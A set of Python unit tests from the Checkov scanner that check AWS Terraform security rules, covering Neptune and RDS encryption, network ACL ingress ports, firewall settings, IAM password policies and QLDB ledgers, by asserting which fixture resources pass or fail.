tests/terraform/checks/resource/aws/test_NeptuneStorageEncrypted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NeptuneClusterStorageEncrypted import check from checkov.terraform.runner import Runner class TestNeptuneClusterStorageEncrypted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NeptuneClusterStorageEncrypted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_neptune_cluster.enabled", } failing_resources = { "aws_neptune_cluster.default", "aws_neptune_cluster.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkACLUnrestricted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkACLUnrestricted import check from checkov.terraform.runner import Runner class TestNetworkACLUnrestricted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkACLUnrestricted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_network_acl_rule.pass", } failing_resources = { "aws_network_acl_rule.fail", "aws_network_acl_rule.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress20.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress20 import check from checkov.terraform.runner import Runner class TestNetworkACLUnrestrictedIngress20(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkACLUnrestrictedIngress20" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_network_acl.pass", "aws_network_acl.pass2", "aws_network_acl_rule.pass", "aws_network_acl_rule.pass2", "aws_network_acl.pass3" } failing_resources = { "aws_network_acl.fail", "aws_network_acl.fail2", "aws_network_acl.fail3", "aws_network_acl.fail4", "aws_network_acl_rule.fail", "aws_network_acl_rule.fail2", "aws_network_acl_rule.public_ingress", "aws_network_acl.network_acl", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress21.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress21 import check from checkov.terraform.runner import Runner class TestNetworkACLUnrestrictedIngress21(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkACLUnrestrictedIngress21" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_network_acl.pass", "aws_network_acl.pass2", "aws_network_acl_rule.pass", "aws_network_acl_rule.pass2", "aws_network_acl.pass3" } failing_resources = { "aws_network_acl.fail", "aws_network_acl.fail2", "aws_network_acl.fail3", "aws_network_acl.fail4", "aws_network_acl_rule.fail", "aws_network_acl_rule.fail2", "aws_network_acl_rule.public_ingress", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress22.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress22 import check from checkov.terraform.runner import Runner class TestNetworkACLUnrestrictedIngress22(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkACLUnrestrictedIngress22" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_network_acl.pass", "aws_network_acl.pass2", "aws_network_acl.pass3", "aws_network_acl_rule.pass", "aws_network_acl_rule.pass2", "aws_network_acl_rule.pass3" } failing_resources = { "aws_network_acl.fail", "aws_network_acl.fail2", "aws_network_acl.fail3", "aws_network_acl.fail4", "aws_network_acl_rule.fail", "aws_network_acl_rule.fail2", "aws_network_acl_rule.public_ingress", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkACLUnrestrictedIngress3389.py ================================================ import unittest import os from pathlib import Path from unittest import mock from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkACLUnrestrictedIngress3389 import check from checkov.terraform.runner import Runner class TestNetworkACLUnrestrictedIngress3389(unittest.TestCase): @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkACLUnrestrictedIngress3389" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_network_acl.pass", "aws_network_acl.pass2", "aws_network_acl.pass3", "aws_network_acl_rule.pass", "aws_network_acl_rule.pass2", "aws_network_acl_rule.count_pass", } failing_resources = { "aws_network_acl.fail", "aws_network_acl.fail2", "aws_network_acl.fail3", "aws_network_acl.fail4", "aws_network_acl_rule.fail", "aws_network_acl_rule.fail2", "aws_network_acl_rule.public_ingress", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkFirewallDeletionProtection.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkFirewallDeletionProtection import check from checkov.terraform.runner import Runner class TestNetworkFirewallDeletionProtection(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkFirewallDeletionProtection" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_networkfirewall_firewall.pass", } failing_resources = { "aws_networkfirewall_firewall.fail", "aws_networkfirewall_firewall.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkFirewallPolicyDefinesCMK.py ================================================ import unittest import os from pathlib import Path from unittest import mock from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkFirewallPolicyDefinesCMK import check from checkov.terraform.runner import Runner class TestNetworkFirewallPolicyDefinesCMK(unittest.TestCase): @mock.patch.dict(os.environ, {"CHECKOV_ENABLE_FOREACH_HANDLING": "False"}) def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkFirewallPolicyDefinesCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_networkfirewall_firewall_policy.pass", } failing_resources = { "aws_networkfirewall_firewall_policy.fail", "aws_networkfirewall_firewall_policy.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_NetworkFirewallUsesCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.NetworkFirewallUsesCMK import check from checkov.terraform.runner import Runner class TestNetworkFirewallUsesCMK(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NetworkFirewallUsesCMK" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_networkfirewall_firewall.pass", "aws_networkfirewall_rule_group.pass" } failing_resources = { "aws_networkfirewall_firewall.fail", "aws_networkfirewall_firewall.fail2", "aws_networkfirewall_rule_group.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicyExpiration.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicyExpiration import check from checkov.common.models.enums import CheckResult class TestPasswordPolicyExpiration(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], "max_password_age": [90] } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], "max_password_age": [91] } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicyLength.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicyLength import check from checkov.common.models.enums import CheckResult class TestPasswordPolicyLength(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [16], "require_lowercase_characters": [False], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [8], "require_lowercase_characters": [False], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "require_lowercase_characters": [False], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicyLowercaseLetter.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicyLowercaseLetter import check from checkov.common.models.enums import CheckResult class TestPasswordPolicLowerCaseLetter(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [8], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [8], "require_lowercase_characters": [False], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "minimum_password_length": [8], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicyNumber.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicyNumber import check from checkov.common.models.enums import CheckResult class TestPasswordPolicyNumber(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [False], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicyReuse.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicyReuse import check from checkov.common.models.enums import CheckResult class TestPasswordPolicyReuse(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], "max_password_age": [89], "password_reuse_prevention": [24] } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], "max_password_age": [89], "password_reuse_prevention": [4] } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "require_numbers": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_another_test(self): conf = {'count': ['True ? 1 : 0}'], 'max_password_age': [0], 'minimum_password_length': [8], 'allow_users_to_change_password': [True], 'hard_expiry': [False], 'password_reuse_prevention': ['${var.password_reuse_prevention}'], 'require_lowercase_characters': [True], 'require_uppercase_characters': [True], 'require_numbers': [True], 'require_symbols': [True]} scan_result = check.scan_resource_conf(conf=conf) self.assertEqual(CheckResult.UNKNOWN, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicySymbol.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicySymbol import check from checkov.common.models.enums import CheckResult class TestPasswordPolicySymbol(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [False], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_PasswordPolicyUppercaseLetter.py ================================================ import unittest from checkov.terraform.checks.resource.aws.PasswordPolicyUppercaseLetter import check from checkov.common.models.enums import CheckResult class TestPasswordPolicyUpperCaseLetter(unittest.TestCase): def test_success(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_uppercase_characters": [False], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_on_missing_property(self): resource_conf = { "minimum_password_length": [15], "require_lowercase_characters": [True], "require_numbers": [True], "require_symbols": [True], "allow_users_to_change_password": [True], } scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_QLDBLedgerDeletionProtection.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.QLDBLedgerDeletionProtection import check from checkov.terraform.runner import Runner class TestQLDBLedgerDeletionProtection(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_QLDBLedgerDeletionProtection" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_qldb_ledger.default", "aws_qldb_ledger.enabled", } failing_resources = { "aws_qldb_ledger.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_QLDBLedgerPermissionsMode.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.QLDBLedgerPermissionsMode import check from checkov.terraform.runner import Runner class TestQLDBLedgerPermissionsMode(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_QLDBLedgerPermissionsMode" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_qldb_ledger.standard", } failing_resources = { "aws_qldb_ledger.allow_all", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSCACertIsRecent.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSCACertIsRecent import check from checkov.terraform.runner import Runner class TestRDSCACertIsRecent(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSCACertIsRecent" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_db_instance.pass[\"rds-ca-rsa2048-g1\"]", "aws_db_instance.pass[\"rds-ca-rsa4096-g1\"]", "aws_db_instance.pass[\"rds-ca-ecc384-g1\"]", } failing_resources = { "aws_db_instance.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterActivityStreamEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterActivityStreamEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestRDSClusterActivityStreamEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSClusterActivityStreamEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_rds_cluster_activity_stream.pass", } failing_resources = { "aws_rds_cluster_activity_stream.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterAuditLogging.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterAuditLogging import check from checkov.terraform.runner import Runner class TestRDSClusterAuditLogging(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSClusterAuditLogging" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_rds_cluster.pass", "aws_rds_cluster.pass2", } failing_resources = { "aws_rds_cluster.fail", "aws_rds_cluster.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 5) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterAuroraBacktrack.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterAuroraBacktrack import check from checkov.terraform.runner import Runner class TestRDSClusterAuroraBacktrack(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RDSClusterAuroraBacktrack" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_rds_cluster.pass", "aws_rds_cluster.pass2", } failing_resources = { "aws_rds_cluster.fail", "aws_rds_cluster.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterCopyTags.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterCopyTags import check from checkov.terraform.runner import Runner class TestRDSClusterCopyTags(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSClusterCopyTags" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_rds_cluster.pass", } failing_resources = { "aws_rds_cluster.fail", "aws_rds_cluster.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterEncrypted.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.aws.RDSClusterEncrypted import check from checkov.common.models.enums import CheckResult class TestRDSClusterEncrypted(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "aws_rds_global_cluster" "example" { provider = aws.primary global_cluster_identifier = "example" } """) resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_explicit(self): hcl_res = hcl2.loads(""" resource "aws_rds_global_cluster" "example" { provider = aws.primary global_cluster_identifier = "example" storage_encrypted = false } """) resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "aws_rds_global_cluster" "example" { provider = aws.primary global_cluster_identifier = "example" storage_encrypted = true } """) resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_with_source_db_cluster_identifier(self): hcl_res = hcl2.loads(""" resource "aws_rds_global_cluster" "example" { provider = aws.primary global_cluster_identifier = "example" source_db_cluster_identifier = "some_arn" } """) resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.UNKNOWN, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterEncryptedWithCMK.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestRDSClusterEncryptedWithCMK(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSClusterEncryptedWithCMK" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_rds_cluster.pass", } failing_resources = { "aws_rds_cluster.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RDSClusterIAMAuthentication.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RDSClusterIAMAuthentication import check from checkov.terraform.runner import Runner class TestRDSClusterIAMAuthentication(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_RDSClusterIAMAuthentication" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_rds_cluster.enabled", } failing_resources = { "aws_rds_cluster.default", "aws_rds_cluster.disabled", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) 